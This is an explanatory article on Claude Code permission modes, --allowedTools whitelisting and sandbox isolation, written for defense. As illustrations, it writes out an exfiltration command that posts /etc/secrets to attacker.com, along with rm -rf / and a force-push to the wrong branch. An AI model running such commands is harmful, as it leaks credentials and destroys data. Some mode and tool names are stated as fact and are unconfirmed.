Claude Code Permission Modes in 2026: What --allowedTools, Whitelists, and Sandbox Boundaries Actually Restrict
This article was written with the assistance of AI, under human supervision and review.
Most Claude Code security failures stem from treating permission modes and sandbox boundaries as interchangeable concepts. Teams ship agents with Auto mode enabled, assuming the Bash sandbox prevents harm. The sandbox restricts file system access. Permission modes control whether Claude even attempts the action. When these two layers misalign, the agent either breaks production workflows or leaks credentials through unrestricted tool calls.
The confusion compounds when engineers discover --allowedTools and assume whitelisting individual capabilities (like editfile or runcommand) provides complete protection. It does not. The whitelist prevents Claude from invoking forbidden tools. It says nothing about what those allowed tools can reach once invoked. A configuration that permits runcommand but forgets to restrict the Bash sandbox to a safe directory tree lets the agent execute rm -rf / without friction.
The correct architecture separates concerns. Permission modes (Auto, Prompt, Restricted, Custom) decide whether Claude asks before acting. Sandbox boundaries (bubblewrap on Linux, Seatbelt on macOS) define the outer limits of what Bash commands can touch. Defense-in-depth pairs permission deny rules with tight sandbox restrictions so even a prompt-approval mistake cannot escape isolation.
Key Takeaways Permission modes control whether Claude attempts an action; sandbox boundaries limit what that action can reach if approved or auto-granted. --allowedTools whitelisting blocks specific capabilities like editfile or runcommand but does not restrict file paths or network access within allowed tools. Restricted mode denies all tool calls by default; Custom mode lets teams whitelist only essential tools while denying everything else. Sandbox isolation (bubblewrap, Seatbelt) prevents Bash commands from accessing paths outside defined boundaries even when permission modes allow execution. Defense-in-depth pairs permission deny rules with sandbox restrictions so a single misconfiguration cannot compromise the entire system.
Permission modes determine when Claude halts to request approval before invoking a tool. Auto grants every capability without asking. Prompt requires user confirmation for each tool call. Restricted denies all tools by default. Custom mode combines an allowedTools whitelist with explicit deny rules for fine-grained control.
Auto mode ships with zero friction. The agent edits files, runs shell commands, and installs packages without interruption. This speed comes at a cost. When Claude misinterprets a task and attempts git push --force to the wrong branch, Auto mode executes the command instantly. No confirmation dialog appears. The force-push overwrites production history before a human notices.
Prompt mode surfaces every tool invocation for approval. The agent stops to ask: "Run npm install?" This visibility catches errors early but slows iteration. Developers working in tight feedback loops approve dozens of prompts per session. Alert fatigue sets in. A malicious or confused request slips through because the approval reflex becomes automatic.
Restricted mode flips the default to deny. Claude cannot invoke any tool unless the team explicitly permits it. This mode suits production environments where the agent operates on a fixed set of well-tested tasks. A deployment pipeline that only needs runcommand for Docker builds and readfile for config validation can deny every other capability. The agent cannot install packages, edit source files, or query external APIs.
Custom mode provides surgical control. Teams define an allowedTools array containing exactly the capabilities the agent requires. A data processing workflow might permit readfile, listdirectory, and writefile while denying runcommand and installpackage. The configuration pairs the whitelist with explicit deny rules for high-risk tools. This matters because the whitelist operates as an allowlist. Omitting a tool from allowedTools prevents invocation but does not block future additions without review.
--allowedTools is a configuration flag that accepts an array of tool identifiers. Engineers use it to construct a minimal permission surface. The whitelist prevents Claude from invoking tools outside the approved set, but it does not constrain what those tools can access once invoked.
A configuration that includes editfile in allowedTools grants the agent permission to modify any file the process user can write. The whitelist does not restrict paths. If the agent runs with root privileges and the sandbox is misconfigured, editfile can overwrite /etc/passwd. The permission mode allowed the tool invocation. The sandbox failed to isolate file system access.
The distinction between tool invocation and resource access is critical. runcommand appears in many whitelists because automated workflows need shell execution. A whitelist entry for runcommand permits the agent to spawn any Bash command. It does not limit arguments or working directory. Without a sandbox boundary, the agent can execute curl https://attacker.com/exfiltrate -d @/etc/secrets.
Teams often pair --allowedTools with deny rules to create defense-in-depth. A configuration might whitelist readfile and listdirectory while denying installpackage and runcommand. The deny rules act as a safety net. If a future code change accidentally adds a high-risk tool to the whitelist, the explicit deny rule blocks invocation until a maintainer reviews the change.
The implication here is that --allowedTools solves the invocation problem but not the access problem. A complete security posture requires both a whitelist and a sandbox.
Sandbox isolation operates one layer below permission modes. Once a tool invocation succeeds (either through Auto mode or after prompt approval), the sandbox determines what system resources that tool can touch. On Linux, Claude Code uses bubblewrap. On macOS, it uses Seatbelt profiles. Both technologies create a restricted execution environment that denies access to paths outside a defined boundary.
bubblewrap creates a new mount namespace. The agent's Bash commands see a minimal file system tree. A typical configuration mounts /workspace as read-write and /usr, /lib, /bin as read-only. Everything else remains invisible. When the agent executes cat /etc/secrets, the file does not exist in the sandboxed view. The kernel blocks the read before it reaches the real file system.